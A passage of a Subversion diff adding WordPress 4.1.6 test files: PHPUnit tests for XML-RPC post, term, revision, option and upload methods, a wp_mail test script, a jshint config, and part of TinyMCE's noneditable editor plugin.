+			'post_title' => 'Test',
+			'terms' => array(
+				'post_tag' => array( $tag2['term_id'], $tag3['term_id'] )
+			)
+		);
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		$post_tags = wp_get_object_terms( $result, 'post_tag', array( 'fields' => 'ids' ) );
+		$this->assertNotContains( $tag1['term_id'], $post_tags );
+		$this->assertContains( $tag2['term_id'], $post_tags );
+		$this->assertContains( $tag3['term_id'], $post_tags );
+	}
+
+	function test_terms_names() {
+		$this->make_user_by_role( 'editor' );
+
+		$ambiguous_name = rand_str( 30 );
+		$parent_cat = wp_create_category( $ambiguous_name );
+		$child_cat = wp_create_category( $ambiguous_name, $parent_cat );
+
+		$cat1_name = rand_str( 30 );
+		$cat1 = wp_create_category( $cat1_name, $parent_cat );
+		$cat2_name = rand_str( 30 );
+
+		// first a post with valid categories; one that already exists and one to be created
+		$post = array(
+			'post_title' => 'Test',
+			'terms_names' => array(
+				'category' => array( $cat1_name, $cat2_name )
+			)
+		);
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		// verify that cat2 was created
+		$cat2 = get_term_by( 'name', $cat2_name, 'category' );
+		$this->assertNotEmpty( $cat2 );
+		// check that both categories were set on the post
+		$post_cats = wp_get_object_terms( $result, 'category', array( 'fields' => 'ids' ) );
+		$this->assertContains( $cat1, $post_cats );
+		$this->assertContains( $cat2->term_id, $post_cats );
+
+		// create a second post attempting to use the ambiguous name
+		$post2 = array(
+			'post_title' => 'Test',
+			'terms_names' => array(
+				'category' => array( $cat1_name, $ambiguous_name )
+			)
+		);
+		$result2 = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post2 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result2 );
+		$this->assertEquals( 401, $result2->code );
+	}
+
+	/**
+	 * @ticket 28601
+	 */
+	function test_invalid_post_date_does_not_fatal() {
+		$this->make_user_by_role( 'author' );
+		$date_string = 'invalid_date';
+		$post = array( 'post_title' => 'test', 'post_content' => 'test', 'post_date' => $date_string );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$fetched_post = get_post( $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+		$this->assertEquals( '1970-01-01 00:00:00', $fetched_post->post_date );
+	}
+
+	/**
+	 * @ticket 28601
+	 */
+	function test_invalid_post_date_gmt_does_not_fatal() {
+		$this->make_user_by_role( 'author' );
+		$date_string = 'invalid date';
+		$post = array( 'post_title' => 'test', 'post_content' => 'test', 'post_date_gmt' => $date_string );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$fetched_post = get_post( $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+		$this->assertEquals( '1970-01-01 00:00:00', $fetched_post->post_date_gmt );
+	}
+
+	/**
+	 * @ticket 28601
+	 */
+	function test_valid_string_post_date() {
+		$this->make_user_by_role( 'author' );
+		$date_string = '1984-01-11 05:00:00';
+		$post = array( 'post_title' => 'test', 'post_content' => 'test', 'post_date' => $date_string );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$fetched_post = get_post( $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+		$this->assertEquals( $date_string , $fetched_post->post_date );
+	}
+
+	/**
+	 * @ticket 28601
+	 */
+	function test_valid_string_post_date_gmt() {
+		$this->make_user_by_role( 'author' );
+		$date_string = '1984-01-11 05:00:00';
+		$post = array( 'post_title' => 'test', 'post_content' => 'test', 'post_date_gmt' => $date_string );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$fetched_post = get_post( $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+		$this->assertEquals( $date_string , $fetched_post->post_date_gmt );
+	}
+
+	/**
+	 * @ticket 28601
+	 */
+	function test_valid_IXR_post_date() {
+		$this->make_user_by_role( 'author' );
+		$date_string = '1984-01-11 05:00:00';
+		$post = array( 'post_title' => 'test', 'post_content' => 'test', 'post_date' => new IXR_Date( mysql2date( 'Ymd\TH:i:s', $date_string, false ) ) );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$fetched_post = get_post( $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+		$this->assertEquals( $date_string , $fetched_post->post_date );
+	}
+
+	/**
+	 * @ticket 28601
+	 */
+	function test_valid_IXR_post_date_gmt() {
+		$this->make_user_by_role( 'author' );
+		$date_string = '1984-01-11 05:00:00';
+		$post = array( 'post_title' => 'test', 'post_content' => 'test', 'post_date_gmt' => new IXR_Date( mysql2date( 'Ymd\TH:i:s', $date_string, false ) ) );
+		$result = $this->myxmlrpcserver->wp_newPost( array( 1, 'author', 'author', $post ) );
+		$fetched_post = get_post( $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+		$this->assertEquals( $date_string , $fetched_post->post_date_gmt );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/newTerm.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/newTerm.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/newTerm.php	(revision 33402)
@@ -0,0 +1,110 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_newTerm extends WP_XMLRPC_UnitTestCase {
+	var $parent_term;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->parent_term = wp_insert_term( 'parent' . rand_str(), 'category' );
+		$this->assertInternalType( 'array', $this->parent_term );
+		$this->parent_term = $this->parent_term['term_id'];
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'username', 'password', array() ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_empty_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => '' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_invalid_taxonomy() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'not_existing' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'subscriber', 'subscriber', array( 'taxonomy' => 'category' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+		$this->assertEquals( __( 'You are not allowed to create terms in this taxonomy.' ), $result->message );
+	}
+
+	function test_empty_term() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'name' => '' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'The term name cannot be empty.' ), $result->message );
+	}
+
+	function test_parent_for_nonhierarchical() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'post_tag', 'parent' => $this->parent_term, 'name' => 'test' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'This taxonomy is not hierarchical.' ), $result->message );
+	}
+
+	function test_parent_invalid() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'parent' => 'dasda', 'name' => 'test' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+	}
+
+	function test_parent_not_existing() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'parent' => 9999, 'name' => 'test' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Parent term does not exist.' ), $result->message );
+	}
+
+
+	function test_add_term() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'name' => 'test' ) ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+	}
+
+	function test_add_term_with_parent() {
+		$this->make_user_by_role( 'editor' );
+
+		$result  = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'parent' => $this->parent_term, 'name' => 'test' ) ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+	}
+
+	function test_add_term_with_all() {
+		$this->make_user_by_role( 'editor' );
+
+		$taxonomy = array( 'taxonomy' => 'category', 'parent' => $this->parent_term, 'name' => 'test_all', 'description' => 'Test all', 'slug' => 'test_all' );
+		$result  = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', $taxonomy ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/restoreRevision.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/restoreRevision.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/restoreRevision.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_restoreRevision extends WP_XMLRPC_UnitTestCase {
+	var $post_id;
+	var $revision_id;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_id = $this->factory->post->create( array( 'post_content' => 'edit1' ) ); // Not saved as a revision
+		// First saved revision on update, see https://core.trac.wordpress.org/changeset/24650
+		wp_insert_post( array( 'ID' => $this->post_id, 'post_content' => 'edit2' ) ); 
+
+		$revisions = wp_get_post_revisions( $this->post_id );
+		//$revision = array_shift( $revisions ); // First revision is empty - https://core.trac.wordpress.org/changeset/23842
+		// First revision is NOT empty, see https://core.trac.wordpress.org/changeset/24650
+		$revision = array_shift( $revisions );
+		$this->revision_id = $revision->ID;
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_restoreRevision( array( 1, 'username', 'password', $this->revision_id ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_restoreRevision( array( 1, 'subscriber', 'subscriber', $this->revision_id ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_user() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_restoreRevision( array( 1, 'editor', 'editor', $this->revision_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_revision_restored() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_restoreRevision( array( 1, 'editor', 'editor', $this->revision_id ) );
+		$this->assertTrue( $result );
+		$this->assertEquals( 'edit2', get_post( $this->post_id )->post_content );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/setOptions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/setOptions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/setOptions.php	(revision 33402)
@@ -0,0 +1,26 @@
+<?php
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_setOptions extends WP_XMLRPC_UnitTestCase {
+
+	/**
+	 * @ticket 22936
+	 */
+	function test_set_option_no_escape_strings() {
+		$this->make_user_by_role( 'administrator' );
+		$string_with_quote = "Mary's Lamb Shop";
+		$escaped_string_with_quote = esc_html( $string_with_quote ); // title is passed through esc_html()
+
+		update_option( 'default_comment_status', 'closed' );
+		$this->assertEquals( 'closed', get_option( 'default_comment_status' ) );
+		$result = $this->myxmlrpcserver->wp_setOptions( array( 1, 'administrator', 'administrator', array(
+			'blog_title' => $string_with_quote,
+			'default_comment_status' => 'open',
+		) ) );
+
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( $escaped_string_with_quote, $result['blog_title']['value'] );
+		$this->assertEquals( 'open', $result['default_comment_status']['value'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/uploadFile.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/uploadFile.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/uploadFile.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_uploadFile extends WP_XMLRPC_UnitTestCase {
+
+	function test_valid_attachment() {
+		$this->make_user_by_role( 'editor' );
+
+		// create attachment
+		$filename = ( DIR_TESTDATA . '/images/a2-small.jpg' );
+		$contents = file_get_contents( $filename );
+		$data = array(
+			'name' => 'a2-small.jpg',
+			'type' => 'image/jpeg',
+			'bits' => $contents
+		);
+
+
+		$result = $this->myxmlrpcserver->mw_newMediaObject( array( 0, 'editor', 'editor', $data ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// check data types
+		$this->assertInternalType( 'string', $result['id'] );
+		$this->assertStringMatchesFormat( '%d', $result['id'] );
+		$this->assertInternalType( 'string', $result['file'] );
+		$this->assertInternalType( 'string', $result['url'] );
+		$this->assertInternalType( 'string', $result['type'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/wp-mail-real-test.php
===================================================================
--- /tags/4.1.6/tests/phpunit/wp-mail-real-test.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/wp-mail-real-test.php	(revision 33402)
@@ -0,0 +1,85 @@
+<?php
+/**
+ * wp-mail-real-test.php
+ *
+ * Test script for wp_mail with real addresses.
+ */
+
+// parse options
+$options = 'v:r:d';
+if (is_callable('getopt')) {
+	$opts = getopt($options);
+} else {
+	include( dirname(__FILE__) . '/wp-testlib/getopt.php' );
+	$opts = getoptParser::getopt($options);
+}
+
+define('DIR_TESTROOT', realpath(dirname(__FILE__)));
+
+define('TEST_WP', true);
+define('WP_DEBUG', array_key_exists('d', $opts) );
+
+if (!empty($opts['r']))
+	define('DIR_WP', realpath($opts['r']));
+else
+	if (!empty($opts['v']))
+		define('DIR_WP', DIR_TESTROOT.'/wordpress-'.$opts['v']);
+	else
+		define('DIR_WP', DIR_TESTROOT.'/wordpress');
+
+// make sure all useful errors are displayed during setup
+error_reporting(E_ALL & ~E_DEPRECATED);
+ini_set('display_errors', true);
+
+require_once(DIR_TESTROOT.'/wp-testlib/utils.php');
+
+// configure wp
+require_once(DIR_TESTROOT.'/wp-config.php');
+define('ABSPATH', realpath(DIR_WP).'/');
+
+// install wp
+define('WP_BLOG_TITLE', rand_str());
+define('WP_USER_NAME', rand_str());
+define('WP_USER_EMAIL', rand_str().'@example.com');
+
+// initialize wp
+define('WP_INSTALLING', 1);
+$_SERVER['PATH_INFO'] = $_SERVER['SCRIPT_NAME']; // prevent a warning from some sloppy code in wp-settings.php
+require_once(ABSPATH.'wp-settings.php');
+
+drop_tables();
+
+require_once(ABSPATH.'wp-admin/includes/upgrade.php');
+wp_install(WP_BLOG_TITLE, WP_USER_NAME, WP_USER_EMAIL, true);
+
+// make sure we're installed
+assert(true == is_blog_installed());
+
+define('PHPUnit_MAIN_METHOD', false);
+$original_wpdb = $GLOBALS['wpdb'];
+
+// hide warnings during testing, since that's the normal WP behaviour
+if ( !WP_DEBUG ) {
+	error_reporting(E_ALL ^ E_NOTICE);
+}
+
+$to = "To <wp.mail.testing@gmail.com>";
+$from = "From <wp.mail.testing+from@gmail.com>";
+$cc = "CC <wp.mail.testing+cc@gmail.com>";
+$bcc = "BCC <wp.mail.testing+bcc@gmail.com>";
+$subject = "RFC2822 Testing";
+$message = "My RFC822 Test Message";
+$headers[] = "From: {$from}";
+$headers[] = "CC: {$cc}";
+
+$_SERVER['SERVER_NAME'] = 'example.com';
+wp_mail( $to, $subject, $message, $headers );
+
+$headers = array();
+$subject = "RFC2822 Testing 2";
+$message = "My RFC822 Test Message 2";
+$to = "To <wp.mail.testing+to@gmail.com>";
+$headers[] = "BCC: {$bcc}";
+wp_mail( '', $subject, $message, $headers );
+echo "Test emails sent!\n"
+?>
Index: /tags/4.1.6/tests/qunit/.jshintrc
===================================================================
--- /tags/4.1.6/tests/qunit/.jshintrc	(revision 33402)
+++ /tags/4.1.6/tests/qunit/.jshintrc	(revision 33402)
@@ -0,0 +1,22 @@
+{
+	"globals": {
+		"asyncTest"      : false,
+		"deepEqual"      : false,
+		"equal"          : false,
+		"expect"         : false,
+		"module"         : false,
+		"notDeepEqual"   : false,
+		"notEqual"       : false,
+		"notStrictEqual" : false,
+		"ok"             : false,
+		"QUnit"          : false,
+		"raises"         : false,
+		"start"          : false,
+		"stop"           : false,
+		"strictEqual"    : false,
+		"test"           : false,
+
+		"_"              : false,
+		"jQuery"         : false
+	}
+}
Index: /tags/4.1.6/tests/qunit/editor/external-plugins/noneditable/plugin.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/external-plugins/noneditable/plugin.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/external-plugins/noneditable/plugin.js	(revision 33402)
@@ -0,0 +1,540 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*jshint loopfunc:true */
+/*eslint no-loop-func:0 */
+/*global tinymce:true */
+
+tinymce.PluginManager.add('noneditable', function(editor) {
+	var TreeWalker = tinymce.dom.TreeWalker;
+	var externalName = 'contenteditable', internalName = 'data-mce-' + externalName;
+	var VK = tinymce.util.VK;
+
+	// Returns the content editable state of a node "true/false" or null
+	function getContentEditable(node) {
+		var contentEditable;
+
+		// Ignore non elements
+		if (node.nodeType === 1) {
+			// Check for fake content editable
+			contentEditable = node.getAttribute(internalName);
+			if (contentEditable && contentEditable !== "inherit") {
+				return contentEditable;
+			}
+
+			// Check for real content editable
+			contentEditable = node.contentEditable;
+			if (contentEditable !== "inherit") {
+				return contentEditable;
+			}
+		}
+
+		return null;
+	}
+
+	// Returns the noneditable parent or null if there is a editable before it or if it wasn't found
+	function getNonEditableParent(node) {
+		var state;
+
+		while (node) {
+			state = getContentEditable(node);
+			if (state) {
+				return state  === "false" ? node : null;
+			}
+
+			node = node.parentNode;
+		}
+	}
+
+	function handleContentEditableSelection() {
+		var dom = editor.dom, selection = editor.selection, caretContainerId = 'mce_noneditablecaret', invisibleChar = '\uFEFF';
+
+		// Get caret container parent for the specified node
+		function getParentCaretContainer(node) {
+			while (node) {
+				if (node.id === caretContainerId) {
+					return node;
+				}
+
+				node = node.parentNode;
+			}
+		}
+
+		// Finds the first text node in the specified node
+		function findFirstTextNode(node) {
+			var walker;
+
+			if (node) {
+				walker = new TreeWalker(node, node);
+
+				for (node = walker.current(); node; node = walker.next()) {
+					if (node.nodeType === 3) {
+						return node;
+					}
+				}
+			}
+		}
+
+		// Insert caret container before/after target or expand selection to include block
+		function insertCaretContainerOrExpandToBlock(target, before) {
+			var caretContainer, rng;
+
+			// Select block
+			if (getContentEditable(target) === "false") {
+				if (dom.isBlock(target)) {
+					selection.select(target);
+					return;
+				}
+			}
+
+			rng = dom.createRng();
+
+			if (getContentEditable(target) === "true") {
+				if (!target.firstChild) {
+					target.appendChild(editor.getDoc().createTextNode('\u00a0'));
+				}
+
+				target = target.firstChild;
+				before = true;
+			}
+
+			/*
+			caretContainer = dom.create('span', {
+				id: caretContainerId,
+				'data-mce-bogus': true,
+				style:'border: 1px solid red'
+			}, invisibleChar);
+			*/
+
+			caretContainer = dom.create('span', {id: caretContainerId, 'data-mce-bogus': true}, invisibleChar);
+
+			if (before) {
+				target.parentNode.insertBefore(caretContainer, target);
+			} else {
+				dom.insertAfter(caretContainer, target);
+			}
+
+			rng.setStart(caretContainer.firstChild, 1);
+			rng.collapse(true);
+			selection.setRng(rng);
+
+			return caretContainer;
+		}
+
+		// Removes any caret container except the one we might be in
+		function removeCaretContainer(caretContainer) {
+			var rng, child, currentCaretContainer, lastContainer;
+
+			if (caretContainer) {
+				rng = selection.getRng(true);
+				rng.setStartBefore(caretContainer);
+				rng.setEndBefore(caretContainer);
+
+				child = findFirstTextNode(caretContainer);
+				if (child && child.nodeValue.charAt(0) == invisibleChar) {
+					child = child.deleteData(0, 1);
+				}
+
+				dom.remove(caretContainer, true);
+
+				selection.setRng(rng);
+			} else {
+				currentCaretContainer = getParentCaretContainer(selection.getStart());
+				while ((caretContainer = dom.get(caretContainerId)) && caretContainer !== lastContainer) {
+					if (currentCaretContainer !== caretContainer) {
+						child = findFirstTextNode(caretContainer);
+						if (child && child.nodeValue.charAt(0) == invisibleChar) {
+							child = child.deleteData(0, 1);
+						}
+
+						dom.remove(caretContainer, true);
+					}
+
+					lastContainer = caretContainer;
+				}
+			}
+		}
+
+		// Modifies the selection to include contentEditable false elements or insert caret containers
+		function moveSelection() {
+			var nonEditableStart, nonEditableEnd, isCollapsed, rng, element;
+
+			// Checks if there is any contents to the left/right side of caret returns the noneditable element or
+			// any editable element if it finds one inside
+			function hasSideContent(element, left) {
+				var container, offset, walker, node, len;
+
+				container = rng.startContainer;
+				offset = rng.startOffset;
+
+				// If endpoint is in middle of text node then expand to beginning/end of element
+				if (container.nodeType == 3) {
+					len = container.nodeValue.length;
+					if ((offset > 0 && offset < len) || (left ? offset == len : offset === 0)) {
+						return;
+					}
+				} else {
+					// Can we resolve the node by index
+					if (offset < container.childNodes.length) {
+						// Browser represents caret position as the offset at the start of an element. When moving right
+						// this is the element we are moving into so we consider our container to be child node at offset-1
+						var pos = !left && offset > 0 ? offset - 1 : offset;
+						container = container.childNodes[pos];
+						if (container.hasChildNodes()) {
+							container = container.firstChild;
+						}
+					} else {
+						// If not then the caret is at the last position in it's container and the caret container
+						// should be inserted after the noneditable element
+						return !left ? element : null;
+					}
+				}
+
+				// Walk left/right to look for contents
+				walker = new TreeWalker(container, element);
+				while ((node = walker[left ? 'prev' : 'next']())) {
+					if (node.nodeType === 3 && node.nodeValue.length > 0) {
+						return;
+					} else if (getContentEditable(node) === "true") {
+						// Found contentEditable=true element return this one to we can move the caret inside it
+						return node;
+					}
+				}
+
+				return element;
+			}
+
+			// Remove any existing caret containers
+			removeCaretContainer();
+
+			// Get noneditable start/end elements
+			isCollapsed = selection.isCollapsed();
+			nonEditableStart = getNonEditableParent(selection.getStart());
+			nonEditableEnd = getNonEditableParent(selection.getEnd());
+
+			// Is any fo the range endpoints noneditable
+			if (nonEditableStart || nonEditableEnd) {
+				rng = selection.getRng(true);
+
+				// If it's a caret selection then look left/right to see if we need to move the caret out side or expand
+				if (isCollapsed) {
+					nonEditableStart = nonEditableStart || nonEditableEnd;
+
+					if ((element = hasSideContent(nonEditableStart, true))) {
+						// We have no contents to the left of the caret then insert a caret container before the noneditable element
+						insertCaretContainerOrExpandToBlock(element, true);
+					} else if ((element = hasSideContent(nonEditableStart, false))) {
+						// We have no contents to the right of the caret then insert a caret container after the noneditable element
+						insertCaretContainerOrExpandToBlock(element, false);
+					} else {
+						// We are in the middle of a noneditable so expand to select it
+						selection.select(nonEditableStart);
+					}
+				} else {
+					rng = selection.getRng(true);
+
+					// Expand selection to include start non editable element
+					if (nonEditableStart) {
+						rng.setStartBefore(nonEditableStart);
+					}
+
+					// Expand selection to include end non editable element
+					if (nonEditableEnd) {
+						rng.setEndAfter(nonEditableEnd);
+					}
+
+					selection.setRng(rng);
+				}
+			}
+		}
+
+		function handleKey(e) {
+			var keyCode = e.keyCode, nonEditableParent, caretContainer, startElement, endElement;
+
+			function getNonEmptyTextNodeSibling(node, prev) {
+				while ((node = node[prev ? 'previousSibling' : 'nextSibling'])) {
+					if (node.nodeType !== 3 || node.nodeValue.length > 0) {
+						return node;
+					}
+				}
+			}
+
+			function positionCaretOnElement(element, start) {
+				selection.select(element);
+				selection.collapse(start);
+			}
+
+			function canDelete(backspace) {
+				var rng, container, offset, nonEditableParent;
+
+				function removeNodeIfNotParent(node) {
+					var parent = container;
+
+					while (parent) {
+						if (parent === node) {
+							return;
+						}
+
+						parent = parent.parentNode;
+					}
+
+					dom.remove(node);
+					moveSelection();
+				}
+
+				function isNextPrevTreeNodeNonEditable() {
+					var node, walker, nonEmptyElements = editor.schema.getNonEmptyElements();
+
+					walker = new tinymce.dom.TreeWalker(container, editor.getBody());
+					while ((node = (backspace ? walker.prev() : walker.next()))) {
+						// Found IMG/INPUT etc
+						if (nonEmptyElements[node.nodeName.toLowerCase()]) {
+							break;
+						}
+
+						// Found text node with contents
+						if (node.nodeType === 3 && tinymce.trim(node.nodeValue).length > 0) {
+							break;
+						}
+
+						// Found non editable node
+						if (getContentEditable(node) === "false") {
+							removeNodeIfNotParent(node);
+							return true;
+						}
+					}
+
+					// Check if the content node is within a non editable parent
+					if (getNonEditableParent(node)) {
+						return true;
+					}
+
+					return false;
+				}
+
+				if (selection.isCollapsed()) {
+					rng = selection.getRng(true);
+					container = rng.startContainer;
+					offset = rng.startOffset;
+					container = getParentCaretContainer(container) || container;
+
+					// Is in noneditable parent
+					if ((nonEditableParent = getNonEditableParent(container))) {
+						removeNodeIfNotParent(nonEditableParent);
+						return false;
+					}
+
+					// Check if the caret is in the middle of a text node
+					if (container.nodeType == 3 && (backspace ? offset > 0 : offset < container.nodeValue.length)) {
+						return true;
+					}
+
+					// Resolve container index
+					if (container.nodeType == 1) {
+						container = container.childNodes[offset] || container;
+					}
+
+					// Check if previous or next tree node is non editable then block the event
+					if (isNextPrevTreeNodeNonEditable()) {
+						return false;
+					}
+				}
+
+				return true;
+			}
+
+			startElement = selection.getStart();
+			endElement = selection.getEnd();
+
+			// Disable all key presses in contentEditable=false except delete or backspace
+			nonEditableParent = getNonEditableParent(startElement) || getNonEditableParent(endElement);
+			if (nonEditableParent && (keyCode < 112 || keyCode > 124) && keyCode != VK.DELETE && keyCode != VK.BACKSPACE) {
+				// Is Ctrl+c, Ctrl+v or Ctrl+x then use default browser behavior
+				if ((tinymce.isMac ? e.metaKey : e.ctrlKey) && (keyCode == 67 || keyCode == 88 || keyCode == 86)) {
+					return;
+				}
+
+				e.preventDefault();
+
+				// Arrow left/right select the element and collapse left/right
+				if (keyCode == VK.LEFT || keyCode == VK.RIGHT) {
+					var left = keyCode == VK.LEFT;
+					// If a block element find previous or next element to position the caret
+					if (editor.dom.isBlock(nonEditableParent)) {
+						var targetElement = left ? nonEditableParent.previousSibling : nonEditableParent.nextSibling;
+						var walker = new TreeWalker(targetElement, targetElement);
+						var caretElement = left ? walker.prev() : walker.next();
+						positionCaretOnElement(caretElement, !left);
+					} else {
+						positionCaretOnElement(nonEditableParent, left);
+					}
+				}
+			} else {
+				// Is arrow left/right, backspace or delete
+				if (keyCode == VK.LEFT || keyCode == VK.RIGHT || keyCode == VK.BACKSPACE || keyCode == VK.DELETE) {
+					caretContainer = getParentCaretContainer(startElement);
+					if (caretContainer) {
+						// Arrow left or backspace
+						if (keyCode == VK.LEFT || keyCode == VK.BACKSPACE) {
+							nonEditableParent = getNonEmptyTextNodeSibling(caretContainer, true);
+
+							if (nonEditableParent && getContentEditable(nonEditableParent) === "false") {
+								e.preventDefault();
+
+								if (keyCode == VK.LEFT) {
+									positionCaretOnElement(nonEditableParent, true);
+								} else {
+									dom.remove(nonEditableParent);
+									return;
+								}
+							} else {
+								removeCaretContainer(caretContainer);
+							}
+						}
+
+						// Arrow right or delete
+						if (keyCode == VK.RIGHT || keyCode == VK.DELETE) {
+							nonEditableParent = getNonEmptyTextNodeSibling(caretContainer);
+
+							if (nonEditableParent && getContentEditable(nonEditableParent) === "false") {
+								e.preventDefault();
+
+								if (keyCode == VK.RIGHT) {
+									positionCaretOnElement(nonEditableParent, false);
+								} else {
+									dom.remove(nonEditableParent);
+									return;
+								}
+							} else {
+								removeCaretContainer(caretContainer);
+							}
+						}
+					}
+
+					if ((keyCode == VK.BACKSPACE || keyCode == VK.DELETE) && !canDelete(keyCode == VK.BACKSPACE)) {
+						e.preventDefault();
+						return false;
+					}
+				}
+			}
+		}
+
+		editor.on('mousedown', function(e) {
+			var node = editor.selection.getNode();
+
+			if (getContentEditable(node) === "false" && node == e.target) {
+				// Expand selection on mouse down we can't block the default event since it's used for drag/drop
+				moveSelection();
+			}
+		});
+
+		editor.on('mouseup keyup', moveSelection);
+		editor.on('keydown', handleKey);
+	}
+
+	var editClass, nonEditClass, nonEditableRegExps;
+
+	// Converts configured regexps to noneditable span items
+	function convertRegExpsToNonEditable(e) {
+		var i = nonEditableRegExps.length, content = e.content, cls = tinymce.trim(nonEditClass);
+
+		// Don't replace the variables when raw is used for example on undo/redo
